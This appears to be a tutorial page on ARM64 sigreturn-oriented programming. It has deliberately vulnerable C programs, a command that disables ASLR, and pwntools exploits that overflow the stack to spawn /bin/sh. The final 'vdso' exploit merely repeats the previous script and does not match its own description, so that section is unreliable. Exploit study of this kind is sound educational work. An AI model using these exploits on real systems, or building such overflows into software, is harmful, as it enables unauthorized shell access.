Pwntools example
This example is creating the vulnerable binary and exploiting it. The binary reads into the stack and then calls sigreturn
:
Copy from pwn import *
binsh = "/bin/sh"
context . clear ()
context . arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft . read (constants.STDIN_FILENO, 'sp' , 1024 ) #Read into the stack
asm += shellcraft . sigreturn () # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft . syscall ()
asm += 'binsh: .asciz " %s "' % binsh #To have the "/bin/sh" string in memory
binary = ELF . from_assembly (asm)
frame = SigreturnFrame ()
frame . x8 = constants . SYS_execve
frame . x0 = binary . symbols [ 'binsh' ]
frame . x1 = 0x 00
frame . x2 = 0x 00
frame . pc = binary . symbols [ 'syscall' ]
p = process (binary.path)
p . send ( bytes (frame))
p . interactive ()
bof example
Code
Copy #include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff ( int do_arg){
if (do_arg == 1 )
__asm__ ( " mov x8, 0x8b; svc 0; " ) ;
return ;
}
char* vulnerable_function () {
char buffer[ 64 ];
read(STDIN_FILENO , buffer , 0x 1000 ) ; // <-- bof vulnerability
return buffer;
}
char* gen_stack () {
char use_stack[ 0x 2000 ];
strcpy(use_stack , "Hello, world!" ) ;
char* b = vulnerable_function() ;
return use_stack;
}
int main ( int argc , char ** argv) {
char* b = gen_stack() ;
do_stuff( 2 ) ;
return 0 ;
}
Compile it with:
Copy clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
The exploit abuses the bof to return to the call to sigreturn
and prepare the stack to call execve
with a pointer to /bin/sh
.
Copy from pwn import *
p = process ( './srop' )
elf = context . binary = ELF ( './srop' )
libc = ELF ( "/usr/lib/aarch64-linux-gnu/libc.so.6" )
libc . address = 0x 0000fffff7df0000 # ASLR disabled
binsh = next (libc. search ( b "/bin/sh" ))
stack_offset = 72
sigreturn = 0x 00000000004006e0 # Call to sig
svc_call = 0x 00000000004006e4 # svc #0x0
frame = SigreturnFrame ()
frame . x8 = 0x dd # syscall number for execve
frame . x0 = binsh
frame . x1 = 0x 00 # NULL
frame . x2 = 0x 00 # NULL
frame . pc = svc_call
payload = b 'A' * stack_offset
payload += p64 (sigreturn)
payload += bytes (frame)
p . sendline (payload)
p . interactive ()
bof example without sigreturn
Code
Copy #include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function () {
char buffer[ 64 ];
read(STDIN_FILENO , buffer , 0x 1000 ) ; // <-- bof vulnerability
return buffer;
}
char* gen_stack () {
char use_stack[ 0x 2000 ];
strcpy(use_stack , "Hello, world!" ) ;
char* b = vulnerable_function() ;
return use_stack;
}
int main ( int argc , char ** argv) {
char* b = gen_stack() ;
return 0 ;
}
Exploit
In the section vdso
it's possible to find a call to sigreturn
in the offset 0x7b0
:
Therefore, if leaked, it's possible to use this address to access a sigreturn
if the binary isn't loading it:
Copy from pwn import *
p = process ( './srop' )
elf = context . binary = ELF ( './srop' )
libc = ELF ( "/usr/lib/aarch64-linux-gnu/libc.so.6" )
libc . address = 0x 0000fffff7df0000 # ASLR disabled
binsh = next (libc. search ( b "/bin/sh" ))
stack_offset = 72
sigreturn = 0x 00000000004006e0 # Call to sig
svc_call = 0x 00000000004006e4 # svc #0x0
frame = SigreturnFrame ()
frame . x8 = 0x dd # syscall number for execve
frame . x0 = binsh
frame . x1 = 0x 00 # NULL
frame . x2 = 0x 00 # NULL
frame . pc = svc_call
payload = b 'A' * stack_offset
payload += p64 (sigreturn)
payload += bytes (frame)
p . sendline (payload)
p . interactive ()
For more info about vdso check:
And to bypass the address of /bin/sh
you could create several env variables pointing to it, for more info: